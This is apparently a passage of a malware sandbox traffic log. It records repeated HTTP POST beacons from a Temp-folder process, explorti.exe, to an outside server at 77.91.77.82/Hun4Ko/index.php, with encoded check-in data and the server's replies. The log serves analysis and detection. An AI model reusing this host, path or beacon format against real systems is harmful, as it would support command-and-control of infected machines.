Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	51625	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:19.287739038 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:19.960936069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	51626	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:20.085192919 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:20.776144028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	51627	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:20.784605026 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:21.495731115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.7	51628	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:21.614903927 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:22.303849936 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	51629	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:22.312063932 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:23.045559883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.7	51630	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:23.166925907 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:23.874594927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.7	51631	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:23.886116028 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:24.581444979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	51632	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:24.707721949 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:25.407993078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	51633	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:25.417445898 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:26.136792898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	51634	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:26.253806114 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:26.960809946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	51635	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:26.970401049 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:27.685957909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	51636	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:27.803518057 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:28.493344069 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.7	51637	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:28.501780033 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:29.237471104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	51638	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:29.356343031 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:30.972316027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.7	51639	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:30.981575012 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:31.680411100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.7	51640	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:31.800738096 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:32.511809111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	51641	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:32.520265102 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:33.226145029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.7	51642	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:33.347934008 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:34.052263975 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	51643	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:34.065965891 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:34.774591923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	51644	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:34.894754887 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:35.699680090 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.7	51645	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:35.711404085 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:36.421500921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.7	51646	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:36.535212994 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:37.244986057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.7	51647	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:37.260102034 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: 